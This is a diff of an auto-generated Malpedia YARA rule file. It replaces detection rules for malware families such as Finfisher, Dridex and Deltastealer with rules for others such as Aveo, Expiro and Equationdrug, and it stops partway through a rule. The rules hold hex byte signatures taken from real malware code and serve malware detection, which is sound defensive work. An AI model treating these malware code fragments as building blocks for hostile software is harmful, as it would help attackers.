-rule MALPEDIA_Win_Blackpos_Auto : FILE
+rule MALPEDIA_Win_Pvzout_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "52663687-3a52-5b88-8f0a-e8064cfb2262"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackpos_auto.yar#L1-L121"
+		id = "bc80d9fe-85e4-55f8-8d8b-08382557b556"
+		date = "2023-01-25"
+		modified = "2023-01-26"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pvzout_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "8568ffc0a3f0ef5ce5cdc7a729339af7d16e27d116b4f347ef077609e2cc96da"
+		logic_hash = "3b1eb492455f147bf0fe300cd3d173313439f65c62c0ebecede0fab8aacab139"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20230124"
+		malpedia_hash = "2ee0eebba83dce3d019a90519f2f972c0fcf9686"
+		malpedia_version = "20230125"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? b800000200 3bf8 7602 8bf8 8d85f4fffdff }
-		$sequence_1 = { 3bca 7408 47 83ff44 72ef eb08 }
-		$sequence_2 = { 83c414 85c0 7433 e8???????? 85c0 }
-		$sequence_3 = { 8d4dbc 51 03c6 50 e8???????? }
-		$sequence_4 = { 3bfb 0f84f8000000 68ff030000 8d85fdfbffff 53 50 }
-		$sequence_5 = { f7f9 8b4dfc 5f 5e 5b 8bc2 }
-		$sequence_6 = { 8b8040f84100 3bf0 7e44 83ee07 eb3f 2503000080 7905 }
-		$sequence_7 = { 3bf7 7513 8d45e0 50 e8???????? 59 }
-		$sequence_8 = { 6a07 59 6804010000 be???????? }
-		$sequence_9 = { e8???????? 83c40c 85c0 7414 6a01 68???????? }
+		$sequence_0 = { 3e3f 19e9 73f8 dca10ebd24e8 252b0026cb }
+		$sequence_1 = { 5a bf95f6810e 75a8 43 1dea50873a d4a1 }
+		$sequence_2 = { 9c b3d7 5a bf95f6810e 75a8 }
+		$sequence_3 = { bbedffffff 03dd 81eb00d00200 83bd8804000000 899d88040000 }
+		$sequence_4 = { 3089f33d80f3 48 e21c 3e3f }
+		$sequence_5 = { 5d bbedffffff 03dd 81eb00d00200 83bd8804000000 }
+		$sequence_6 = { 03dd 81eb00d00200 83bd8804000000 899d88040000 }
+		$sequence_7 = { d4a1 0e 75a8 43 }
+		$sequence_8 = { 81eb00d00200 83bd8804000000 899d88040000 0f85cb030000 8d8594040000 50 }
+		$sequence_9 = { 5a bf95f6810e 75a8 43 1dea50873a d4a1 0e }
 
 	condition:
-		7 of them and filesize <3293184
+		7 of them and filesize <573440
 }
-rule MALPEDIA_Win_Finfisher_Auto : FILE
+rule MALPEDIA_Win_Aveo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3ef79a6b-24c3-58ed-a290-c5a2a7e3fb1b"
+		id = "20a83532-4a6e-562c-b0b0-f75c536df8d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.finfisher"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.finfisher_auto.yar#L1-L148"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aveo_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "dcf5252aa492d908a47d122045beaf12bf03e72009d0665a415b9ab4e015a1e5"
+		logic_hash = "0a926409298a7da9832c13e4dae3f40393311db59f4c541fcfd58f63e4b0b943"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140266,36 +147236,32 @@ rule MALPEDIA_Win_Finfisher_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 68???????? 6804010000 8d85ccf9ffff 50 }
-		$sequence_1 = { 56 8d85ccf9ffff 50 e8???????? }
-		$sequence_2 = { 6a20 6a03 8d8594f7ffff 50 8d8578f7ffff 50 68000000c0 }
-		$sequence_3 = { 663bc1 7506 8345e404 ebd8 }
-		$sequence_4 = { 0f853affffff c785d0fbffffd5d8ffff e9???????? 8b07 83e808 }
-		$sequence_5 = { 52 68a0608000 eb11 8b4708 8b4dd4 }
-		$sequence_6 = { 397714 7403 56 eb02 6a02 56 50 }
-		$sequence_7 = { e8???????? 56 e8???????? 8b861c030000 3d10270000 }
-		$sequence_8 = { 56 8d859cf7ffff 50 56 a1???????? }
-		$sequence_9 = { 85db 7424 8b17 8d448614 8b08 }
-		$sequence_10 = { e9???????? 8b859cf7ffff ff7004 ff15???????? 8985c0f7ffff 8b8d9cf7ffff }
-		$sequence_11 = { 6a09 ff15???????? 3bc6 7490 8bd0 }
-		$sequence_12 = { ffb5b8f7ffff eb5f 8d8578f7ffff 50 6a01 8d85acf7ffff }
-		$sequence_13 = { 8d85acfbffff 50 53 56 }
+		$sequence_0 = { 8b85ecfaffff 83c40c 50 8bcb 51 8db5f8fdffff }
+		$sequence_1 = { 53 56 57 8db570faffff }
+		$sequence_2 = { 8d8d10feffff e8???????? 8b95f8fdffff 52 8bf0 }
+		$sequence_3 = { 8b4de0 8d55dc 52 6800008000 }
+		$sequence_4 = { 8d8554faffff 8d8d70faffff e8???????? 8b955cfaffff 52 e8???????? }
+		$sequence_5 = { 50 f3a4 ff15???????? 6800010000 8d8df8feffff 6a00 51 }
+		$sequence_6 = { 53 8d4802 8955f4 56 8a51fe }
+		$sequence_7 = { 7424 8b85f4efffff 3bc7 741a }
+		$sequence_8 = { c7442418e8030000 ff15???????? 3bc7 740c 68???????? 50 }
+		$sequence_9 = { c7430801000000 e8???????? 6a06 89430c 8d4310 8d89d41a4100 5a }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Sunorcal_Auto : FILE
+rule MALPEDIA_Win_Pickpocket_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8d478635-7b1a-5ec4-85a6-3854fefcfed4"
+		id = "9a488247-9e86-5930-98a0-6918c231e819"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sunorcal_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pickpocket_auto.yar#L1-L111"
 		license_url = "N/A"
-		logic_hash = "58249461fa7cf2580b3033b5e590d54e14d2db390f8c7cf00dbe39cb0b927df2"
+		logic_hash = "d7990d44202646b62032b82a90fb7e07e373731a34449c62076ef24e8ce04d57"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140309,34 +147275,34 @@ rule MALPEDIA_Win_Sunorcal_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a03 e8???????? cc 55 8bec 83ec0c a1???????? }
-		$sequence_1 = { c21000 8b442404 8b00 813863736de0 752a 83781003 7524 }
-		$sequence_2 = { 5e 5b c21000 8b442404 8b00 813863736de0 752a }
-		$sequence_3 = { ff15???????? 33c0 c3 c3 55 8bec }
-		$sequence_4 = { 7c02 eb0e e8???????? e8???????? 85c0 }
-		$sequence_5 = { 5b c21000 8b442404 8b00 813863736de0 }
-		$sequence_6 = { 68b7000000 ff15???????? 6a64 68???????? }
-		$sequence_7 = { 5b c21000 8b442404 8b00 813863736de0 752a 83781003 }
-		$sequence_8 = { ff15???????? 68b7000000 ff15???????? 6a64 68???????? 6a67 }
-		$sequence_9 = { 68???????? ff15???????? 33c0 c3 c3 55 8bec }
+		$sequence_0 = { 85c0 750f b962890100 e8???????? }
+		$sequence_1 = { 7e1e b9dccc0000 e9???????? b9cecc0000 e9???????? b9c7cc0000 }
+		$sequence_2 = { 7404 8b01 eb03 83c8ff 83f804 }
+		$sequence_3 = { d3e0 a846 750f b99be00100 e8???????? e9???????? }
+		$sequence_4 = { e8???????? 85c0 750e b958de0100 }
+		$sequence_5 = { 85c0 750e b958de0100 e8???????? 8bc8 }
+		$sequence_6 = { 85c0 740f b989000100 e8???????? }
+		$sequence_7 = { 7e16 b91bcc0000 eb05 b916cc0000 }
+		$sequence_8 = { eb0c b96ccb0000 eb05 b960cb0000 }
+		$sequence_9 = { eb09 8bc7 eb0a b9a9d60000 e8???????? }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <1458176
 }
-rule MALPEDIA_Win_Dridex_Auto : FILE
+rule MALPEDIA_Win_Expiro_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fd4d4346-8d83-5613-888d-88569f1753b9"
+		id = "9bf3ea51-503d-5f40-a69a-188866df3f7b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dridex_auto.yar#L1-L1066"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.expiro_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "7f3078493ad3e901d3230994f499bb2b8f95c8666fe5cee6d8f3649c308a4e21"
+		logic_hash = "c555162dc1357feb9808816e071d9b9f76383f5167ecd985c2225c4cf3cc9bed"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -140348,151 +147314,32 @@ rule MALPEDIA_Win_Dridex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 85c0 7512 e8???????? eb03 }
-		$sequence_1 = { e8???????? b910270000 e8???????? e8???????? }
-		$sequence_2 = { c605????????01 c3 c605????????00 c3 }
-		$sequence_3 = { 83f8ff 7505 e8???????? 3d34270000 }
-		$sequence_4 = { ffd0 85c0 751f e8???????? }
-		$sequence_5 = { ffd0 e8???????? 85c0 74de }
-		$sequence_6 = { 53 53 53 6a01 53 ffd0 }
-		$sequence_7 = { eb0a e8???????? eb03 6a7f 58 }
-		$sequence_8 = { c3 31c0 c3 50 }
-		$sequence_9 = { 7406 42 803a00 75fa }
-		$sequence_10 = { 7403 56 ffd0 33f6 }
-		$sequence_11 = { e8???????? 85c0 7407 56 ffd0 }
-		$sequence_12 = { 807c241400 7409 8d4c2410 e8???????? }
-		$sequence_13 = { e8???????? 6880000000 53 53 }
-		$sequence_14 = { e8???????? 85c0 7408 6a00 ffd0 }
-		$sequence_15 = { e8???????? 6a00 8d4e1c e8???????? }
-		$sequence_16 = { e8???????? eb0a b9d0070000 e8???????? }
-		$sequence_17 = { ffd0 5b c3 33c0 }
-		$sequence_18 = { c70350000000 eb0d 3da665f63e 7506 }
-		$sequence_19 = { e8???????? 85c0 7404 6a7f }
-		$sequence_20 = { 85c0 7407 685a040000 ffd0 }
-		$sequence_21 = { e8???????? 3db20d7897 7508 c70350000000 }
-		$sequence_22 = { 8bc8 e8???????? 6a70 8bc8 e8???????? 6a73 8bc8 }
-		$sequence_23 = { 50 e8???????? 8938 8b35???????? }
-		$sequence_24 = { 6a00 6a00 8d4dfc 51 6aff }
-		$sequence_25 = { e8???????? 6a74 8bc8 e8???????? 6a74 8bc8 }
-		$sequence_26 = { 6810270000 50 e8???????? 83c410 }
-		$sequence_27 = { 7411 c7461003000000 e8???????? 894614 }
-		$sequence_28 = { 85c0 7415 6a01 6a00 6a00 }
-		$sequence_29 = { 6a00 8bcf e8???????? 50 ffd6 }
-		$sequence_30 = { eb08 83ca20 eb03 83ca10 }
-		$sequence_31 = { 46 e8???????? c1e802 3bf0 }
-		$sequence_32 = { e8???????? e9???????? 807c245000 740a }
-		$sequence_33 = { e8???????? 8d4dc4 e8???????? 5e }
-		$sequence_34 = { 6802100000 68ffff0000 ff36 ffd0 }
-		$sequence_35 = { ffd0 85c0 7510 e8???????? }
-		$sequence_36 = { c20400 55 8bec 83ec34 8365fc00 }
-		$sequence_37 = { 89442404 eb00 8b442404 89c1 89ca }
-		$sequence_38 = { 7414 31c0 89c1 8b442424 88c2 8854240f }
-		$sequence_39 = { 8b442428 6689c1 66894c2458 66894c245a }
-		$sequence_40 = { 8a442427 a801 7534 eb00 31c0 89c1 }
-		$sequence_41 = { 6a64 59 e8???????? 33c9 e8???????? }
-		$sequence_42 = { 51 6801100000 68ffff0000 ff36 }
-		$sequence_43 = { 7406 6a02 ff36 ffd0 }
-		$sequence_44 = { 740d 40 83c104 3d00100000 }
-		$sequence_45 = { 885c2407 89442408 7598 8a442407 a801 }
-		$sequence_46 = { c7461002000000 eb0f c7461003000000 e8???????? }
-		$sequence_47 = { 890424 894c2404 75dd 8b0424 }
-		$sequence_48 = { e8???????? 50 56 8bcb e8???????? 50 e8???????? }
-		$sequence_49 = { 8954242c 8b44242c 89c1 89ca }
-		$sequence_50 = { eb0a b988130000 e8???????? 33d2 }
-		$sequence_51 = { 740a 488d4c2448 e8???????? 488d4c2430 e8???????? e9???????? }
-		$sequence_52 = { e8???????? 84c0 740f 6a05 }
-		$sequence_53 = { e8???????? 8be8 85ed 7458 }
-		$sequence_54 = { e8???????? 6880000000 55 55 }
-		$sequence_55 = { ff7508 ffd0 33c0 40 5d }
-		$sequence_56 = { c3 55 8bec 837d0800 7422 }
-		$sequence_57 = { 8d4de0 51 68???????? ffd0 }
-		$sequence_58 = { 6a73 e8???????? 833f00 7523 }
-		$sequence_59 = { 6a00 6a02 ffd0 50 }
-		$sequence_60 = { e8???????? 8bc8 a1???????? ff30 }
-		$sequence_61 = { 5e c3 31c0 89c2 }
-		$sequence_62 = { e8???????? 50 ffd7 85c0 7512 }
-		$sequence_63 = { eb0c e8???????? 8bf0 eb03 6a7f 5e }
-		$sequence_64 = { 8b45cc 31c9 8b55d0 39c2 }
-		$sequence_65 = { 8038e9 89c1 8945d0 894dcc }
-		$sequence_66 = { e8???????? 50 53 8d4dd0 e8???????? 50 }
-		$sequence_67 = { 8b45e8 05ffff0000 25ffff0000 83c001 }
-		$sequence_68 = { 8b4de8 81c1ffff0000 81e1ffff0000 83c101 }
-		$sequence_69 = { 50 8b442408 8038e9 890424 7517 8b0424 8b4801 }
-		$sequence_70 = { 8b704c 2b7134 891424 89742404 894c2418 e8???????? }
-		$sequence_71 = { 8b55bc 8955c4 776a 31c0 8b4dac 8b510c }
-		$sequence_72 = { 807c0805e9 891424 74e9 8b0424 }
-		$sequence_73 = { 8b450c 8b4d08 8b503c 6689d6 6683fe00 89c7 8945f0 }
-		$sequence_74 = { 83c001 8b4de8 01c1 894de0 }
-		$sequence_75 = { 7517 8b0424 8b4801 89c2 01ca 83c205 }
-		$sequence_76 = { 8b513c 6689d6 6683fe00 89cf 8945f0 894dec }
-		$sequence_77 = { 01ca 83c205 807c0805e9 891424 }
-		$sequence_78 = { 89c7 8945f0 894dec 8955e8 897de4 }
-		$sequence_79 = { 5b 5e 5d c3 55 89e5 6a00 }
-		$sequence_80 = { 83c001 8b4df8 01c1 894df0 8b45f0 }
-		$sequence_81 = { 83c454 5b 5e 5f 5d c3 55 }
-		$sequence_82 = { 894df0 8b45f0 83c40c 5e }
-		$sequence_83 = { e9???????? 8b45e0 83c438 5f }
-		$sequence_84 = { 8945f8 894df4 8975f0 7418 8b45f4 05ffff0000 }
-		$sequence_85 = { 25ffff0000 83c001 8b4da8 01c1 }
-		$sequence_86 = { 8945c4 894dc0 885dbf 8975b8 }
-		$sequence_87 = { c3 55 89e5 57 56 53 83ec54 }
-		$sequence_88 = { 5b 5d c3 8b45d0 8b4dd4 668b55d8 31f6 }
-		$sequence_89 = { 8b45e0 83c45c 5f 5b 5e 5d }
-		$sequence_90 = { 53 56 83ec38 8b450c 8b4d08 }
-		$sequence_91 = { c7424800b00400 8b7c2418 c787cc00000000000000 c787c800000000000000 }
-		$sequence_92 = { 8955cc 74bc 8b45cc 83c454 5b 5e }
-		$sequence_93 = { 6a00 e8???????? 83c408 c3 6a00 68???????? }
-		$sequence_94 = { 8d442448 b91c000000 8b542438 891424 89442404 c74424081c000000 894c2434 }
-		$sequence_95 = { 893c24 89442404 c744240804000000 8954240c 89ac248c000000 898c2488000000 }
-		$sequence_96 = { 8945c8 75e4 83c448 5e 5f 5b 5d }
-		$sequence_97 = { 53 83ec74 8b450c 8b4d08 31d2 8b713c }
-		$sequence_98 = { 0f85dafeffff 8b45e4 83c474 5b }
-		$sequence_99 = { 55 89e5 56 57 53 83ec70 }
-		$sequence_100 = { 53 81ecb0000000 8b4508 8d4dd8 c745d800000000 }
-		$sequence_101 = { 5b 5d c3 8b45f0 8b0c8504406e00 8b55f8 39d1 }
-		$sequence_102 = { 8b0c8504406e00 8b55f8 39d1 8945ec 894de8 7212 }
-		$sequence_103 = { 83f900 89442464 0f84f2010000 b801000000 8b4c2468 8b91a4000000 }
-		$sequence_104 = { 83c470 5b 5f 5e 5d c3 }
-		$sequence_105 = { 8b45e0 83c438 5e 5b }
-		$sequence_106 = { 57 83ec20 8b4508 890424 }
-		$sequence_107 = { 890424 e8???????? 31c0 83c420 5f }
-		$sequence_108 = { c7424800c00400 8b7de4 c787cc00000000000000 c787c800000000000000 }
-		$sequence_109 = { 897dd8 8b45d8 83c444 5b 5e 5f }
-		$sequence_110 = { e8???????? 8d0d44306e00 31d2 8b75f8 89462c }
-		$sequence_111 = { 894620 890c24 c744240400000000 8955e0 e8???????? 8d0dd8306e00 890424 }
-		$sequence_112 = { 8d155e306e00 83ec04 891424 8945e8 894de4 }
-		$sequence_113 = { 8b55f4 8b75ec 89723c c7424004000000 c742442c0c0200 c7424800b00400 }
-		$sequence_114 = { 55 89e5 53 56 57 83ec38 8b450c }
-		$sequence_115 = { c742442c0c0200 c7424800b00400 8b7de4 c787cc00000000000000 }
-		$sequence_116 = { 8d0dbc306e00 890424 894c2404 e8???????? 8d0d44306e00 }
-		$sequence_117 = { 74bc 8b45cc 83c454 5f 5b 5e }
-		$sequence_118 = { 0f84e2feffff e9???????? 8b45e0 83c45c 5e 5f 5b }
-		$sequence_119 = { 56 53 57 83ec44 8b4508 }
-		$sequence_120 = { 8955e0 e8???????? 8d0dd8302700 890424 }
-		$sequence_121 = { 89462c 890c24 c744240400000000 8955d8 e8???????? 8d0d04318400 }
-		$sequence_122 = { c7424004000000 c7424499040200 c7424800c00400 8b7de4 }
-		$sequence_123 = { c3 55 89e5 83ec10 8b4508 8d0d44302500 }
-		$sequence_124 = { 56 83ec44 8b4508 8d0d30302500 31d2 890c24 }
-		$sequence_125 = { 31c0 8d0d5a232f00 8b55c8 39ca 8945cc 0f84f9000000 }
-		$sequence_126 = { 890c24 c744240400000000 8955e4 e8???????? 8d0dc9302f00 890424 894c2404 }
-		$sequence_127 = { 8d0d44302f00 31d2 8b75f8 894608 890c24 c744240400000000 }
-		$sequence_128 = { 8d0d30302700 31d2 890c24 c744240400000000 8945f0 8955ec e8???????? }
+		$sequence_0 = { 33c9 6689147e 3bcd 5f 1bc0 5e }
+		$sequence_1 = { 52 e8???????? 83c404 33c0 668944244c 6a04 897c2464 }
+		$sequence_2 = { 0f848f000000 803d????????00 0f8582000000 803d????????00 7579 8d8c24cc010000 }
+		$sequence_3 = { 8b4d00 eb02 8bcd 8d3441 0fb703 }
+		$sequence_4 = { b8???????? 8d4c2414 e8???????? 8d442414 50 8d4c2434 51 }
+		$sequence_5 = { 7373 7373 7353 7373 13ea 02abd9737373 }
+		$sequence_6 = { bf5c000000 52 55 8d5fa5 33c0 897c241c }
+		$sequence_7 = { 0fb74208 f6c303 7409 8d04c5c6234100 eb23 f6c30c }
+		$sequence_8 = { 31733e 45 cf 7160 7373 7308 7373 }
+		$sequence_9 = { 7373 7377 7373 7373 7373 7373 93 }
 
 	condition:
-		7 of them and filesize <1040384
+		7 of them and filesize <3776512
 }
-rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE
+rule MALPEDIA_Win_Darkmoon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6cb9e399-7a4a-5f81-aaa6-7cb702a29e01"
+		id = "c7bc3212-028b-5215-8293-c0df2749aba3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_013_korean_malware_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkmoon_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "c008af161ea64c4cea7a6eccb5b08fe1a4b68cae21f50d0dd25e80b0eb93ad58"
+		logic_hash = "5987f0c1a065561468c6153b43a5b63a22d14e5454b4b93cd49fdb8fd5a12783"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140506,32 +147353,32 @@ rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bd7 7cf5 7f04 3bc5 72ef }
-		$sequence_1 = { 57 a1???????? 33c4 50 8d842458060000 64a300000000 68???????? }
-		$sequence_2 = { 6800040000 8d4c241c 51 57 ffd5 85c0 743f }
-		$sequence_3 = { 81c40c040000 c3 8b2d???????? 8d44240c 50 }
-		$sequence_4 = { e8???????? 83c424 8bd8 8d542414 8d8c2454030000 }
-		$sequence_5 = { 8b44243c ff4c241c 3bf8 7605 e8???????? 8b44242c bb10000000 }
-		$sequence_6 = { 83c428 c3 3c03 0f8558ffffff 83f901 }
-		$sequence_7 = { 8d442414 50 c744242003000000 ff15???????? b902000000 }
-		$sequence_8 = { 68???????? 68???????? e8???????? 83c410 e8???????? b230 }
-		$sequence_9 = { 6a00 6a00 6a00 8bf2 6a00 6a00 8bf9 }
+		$sequence_0 = { c745e435000000 e8???????? 83c418 85c0 }
+		$sequence_1 = { 7432 8d55e4 8d45e8 52 8d4dec 50 8d95e4fdffff }
+		$sequence_2 = { 8dbe48010000 6800f00000 8bcf e8???????? 6800f00000 8bce }
+		$sequence_3 = { 7314 ff7510 ff750c ff7508 }
+		$sequence_4 = { c645fc03 e8???????? 8d4f08 c645fc04 e8???????? }
+		$sequence_5 = { c645fc07 e8???????? eb02 33ff 57 c645fc01 }
+		$sequence_6 = { 83ec10 33c9 8bdc 33d2 8dbe48010000 }
+		$sequence_7 = { 8d860f040000 8945cc eb12 8d86130d0000 }
+		$sequence_8 = { 837df020 750e 8dbdfcfdffff c60720 }
+		$sequence_9 = { 50 837df400 740d 6800800000 6a00 ff75f4 ff5625 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Deltastealer_Auto : FILE
+rule MALPEDIA_Win_Equationdrug_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e4bcf99b-e757-5705-a59b-a0722820f3d9"
+		id = "37b1b451-51c5-5fbc-9487-21d701b707d2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deltastealer_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.equationdrug_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "f3a202dde71406be69325c7d8bb3b580aed323825ecf5c600f5b385fd3e3e19c"
+		logic_hash = "f8f538888e4dbac5fbcd6d58b6a95043a330081a5194049d400ba3c70341afe9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140545,32 +147392,32 @@ rule MALPEDIA_Win_Deltastealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4883c428 c3 56 57 53 4883ec30 4c89c6 }
-		$sequence_1 = { 4d01c1 4c894c2420 4c89442428 c744243803001100 c744244803001100 488d5c2430 4c8d742440 }
-		$sequence_2 = { 57 53 4883ec40 4889d3 488b01 488b7008 488b7810 }
-		$sequence_3 = { 84c0 7416 4180bc240802000000 750b 488b842448010000 c60001 4584f6 }
-		$sequence_4 = { e8???????? 498b7610 31db 4839df 741e 8a041e 8d48bf }
-		$sequence_5 = { 89d7 48ffc3 49895e10 49f7e2 0f80a8000000 400fb6d7 4801d0 }
-		$sequence_6 = { c6474001 4889f9 e8???????? 4885c0 7438 4885d2 7433 }
-		$sequence_7 = { e8???????? 4489e3 488d4c2460 e8???????? 4989c7 eb21 4584e4 }
-		$sequence_8 = { 48895c2420 488d7c2430 41b830000000 41b910000000 4889f9 e8???????? 488b7f18 }
-		$sequence_9 = { 6601c8 0f92c2 81f9ffff0000 0f87d8feffff 84d2 0f85d0feffff 4d85f6 }
+		$sequence_0 = { 5b c21000 8bd0 56 81e2ff0f0000 53 83c704 }
+		$sequence_1 = { 0f84f4000000 8b7c2414 f7c7ff010000 0f85e4000000 8b4e04 8d442410 50 }
+		$sequence_2 = { 56 8d4c2418 c644245800 e8???????? 8d4c2414 e8???????? 84c0 }
+		$sequence_3 = { 84c0 741a 668b4ef8 660fbed0 668b46fa 52 50 }
+		$sequence_4 = { 89542414 8b542410 0fbfc2 40 0fafc1 3bfb 73c4 }
+		$sequence_5 = { c644245c00 e8???????? 83c404 89442464 85c0 c644245802 7411 }
+		$sequence_6 = { e8???????? 85c0 0f864b020000 53 8bcd e8???????? 50 }
+		$sequence_7 = { 33c0 eb07 8b4708 2bc6 d1f8 33d2 33db }
+		$sequence_8 = { 8bca b001 83e103 f3a4 5f 5e 5d }
+		$sequence_9 = { 6685c0 7537 8b442408 3dffff0000 772c c1e009 }
 
 	condition:
-		7 of them and filesize <3532800
+		7 of them and filesize <449536
 }
-rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE
+rule MALPEDIA_Win_Babyshark_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a4e15d5b-f5a8-5629-8aa0-4b08d538c94b"
+		id = "bba62dea-b8fb-5177-af59-ee7484609223"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.data_exfiltrator_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babyshark_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "3310f9551fc82e6e58581f9d53ef710d168d316a9e233b611258320515dc0adb"
+		logic_hash = "170a55c792dd841a430b5276e4b7ea8cd0c0e2d28c406b503a22728951bd6c1d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -140584,34 +147431,34 @@ rule MALPEDIA_Win_Data_Exfiltrator_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488b4c2440 ff15???????? 4889442420 488b542448 }
-		$sequence_1 = { e8???????? 4c8b442428 488d152c570000 488b4c2420 e8???????? 41b80a000000 }
-		$sequence_2 = { 488d8c24a0000000 e8???????? 488d9424a0000000 488b8c2430010000 e8???????? 488905???????? }
-		$sequence_3 = { c68424ba00000078 c68424bb00000078 c68424bc00000078 c68424bd00000078 c68424be00000000 488d8c24a0000000 }
-		$sequence_4 = { 48894c2408 4883ec48 48837c246001 752b }
-		$sequence_5 = { c6442420fb c6442421fc c6442422fe c6442423ff c6442424aa c64424254d }
-		$sequence_6 = { c68424020100006d c684240301000000 c684240401000007 c68424050100006d c68424060100004f c684240701000072 }
-		$sequence_7 = { 89442428 837c242800 7c3a 8b442448 39442428 7d30 8b442420 }
